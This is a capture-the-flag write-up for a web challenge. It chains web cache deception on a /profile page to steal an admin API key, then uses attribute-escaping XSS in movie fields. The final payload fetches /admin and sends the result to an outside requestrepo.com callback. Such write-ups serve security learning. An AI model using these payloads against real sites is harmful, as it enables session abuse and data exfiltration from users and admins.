CCSC 2025 - Popcorn and Payloads
Description
Author: kallenosf
Lights, camera, action! Can you see behind the scenes?
Note: Admins/Moderators access the app at http://web-app/
Solution
Initial Look
Facing the challenge, we are presented with a simple login/registration page.
Upon registering and logging in, we are greeted with a nice movies datababse. You can browse the movies and leave reviews for them.
Digging Deeper
When we analyze the page better, we can see the following interesting things:
- The admin bot visits any URL we provide in the review.
- The
/profile
endpoint hints us that we need to get an API key. - The
/api
endpoint lists all the available API endpoints and actions we can perform, including/api/movies
which allows us to add a new movie.
So taking into account the above, it’s pretty clear that we need to get our hands on the API key and proceed from there.
Getting the API Key
Let’s take a closer look at how the application behaves (requests, responses, etc.).
It seems that there is some kind of caching mechanism in place. Let’s try to fetch a static file and view the response headers.
Now we know that endpoints like /profile
and /movies
do not get cached (X-Cache-Status: BYPASS
), while the static files do get cached (X-Cache-Status: HIT
).
This smells like a very interesting vulnerability that suits our needs perfectly.
Exploiting the Cache
Let’s try to exploit this Web Cache Deception vulnerability.
We have to follow these steps:
- Check if we can trick the server into caching the
/profile
endpoint (maybe treat it as a static file). - Force the victim(admin bot) to visit the
/profile
endpoint so their version of the page gets cached. - Access the cached version of the
/profile
endpoint and retrieve the API key.
Step 1: Cache the /profile
Endpoint
It seems we can fool the server into caching the /profile
endpoint by appending a .js
extension to it.
Step 2: Force the Admin Bot to Visit the Cached Page
Let’s create the following review:
When the admin bot visits the page, it will cache their version of the /profile
endpoint (if not already cached).
Step 3: Access the Cached Version of the /profile
Endpoint
We can also see a Get flag
button, let’s view the HTML source code of the page to see what it does.
Perfect! We now know our end goal. We need to send a POST request to /admin
as the admin user with the Content-Type
header set to application/json
and we’ll get the flag in the response.
This hints us again to another vulnerability, the Cross-Site Scripting (XSS) vulnerability.
Finding the XSS
Since now we have access to the api, we can try to add a new movie and see if we can inject javascript in any of the fields.
We can see exactly where every one of our inputs lands in the HTML source code of the page.
We can now inject malicious payloads in all the fields, and hope that we can at least execute some javascript code.
1
2
3
4
5
6
{
"title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
"image": "image\" injected=\"MariosK1574",
"trailer": "trailer\" injected=\"MariosK1574",
"description": "<u>MariosK1574</u>"
}
Nice! We managed to escape the src
attribute of the <img>
tag and inject our own attributes. This means we can now inject a onerror
attribute and execute our javascript code.
1
2
3
4
5
6
{
"title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
"image": "image\" onerror=\"alert(origin)",
"trailer": "trailer\" injected=\"MariosK1574",
"description": "<u>MariosK1574</u>"
}
Now we can see that our javascript code is executed when the image fails to load. This means we can now send a POST request to /admin
as the admin user and get the flag.
Getting the Flag
Let’s construct our final XSS payload:
1
fetch('http://web-app/admin', {method: 'POST', headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(r => fetch(`https://fv7f6lqp.requestrepo.com/?d=${btoa(JSON.stringify(r))}`))
What this does is:
- Send a POST request to
/admin
as the admin user with theContent-Type
header set toapplication/json
to get the flag. - Encode the response in base64 and send it to our requestrepo endpoint.
We are also encoding the payload in HTML Entity format to avoid any issues.
1
2
3
4
5
6
{
"title": "XSS",
"image": "image\" onerror=\"fetch('http://web-app/admin', {method: 'POST', headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(r => fetch(`https://fv7f6lqp.requestrepo.com/?d=${btoa(JSON.stringify(r))}`))",
"trailer": "XSS",
"description": "XSS Payload"
}
And finally let’s post a review with the URL of the movie we just created:
We get a callback on our requestrepo callback with base64 encoded flag.
The flag is: ECSC{L1gHtS_C4meRa_D3c3pTi0n...I_Me4N_AC7ioN}
Conclusion
This challenge was a great example of how to exploit web cache deception vulnerabilities and cross-site scripting vulnerabilities to achieve our goal. It also highlighted the importance of understanding how web applications work and how to manipulate them to our advantage. Overall, it was a fun and educational challenge that showcased real-world web security issues.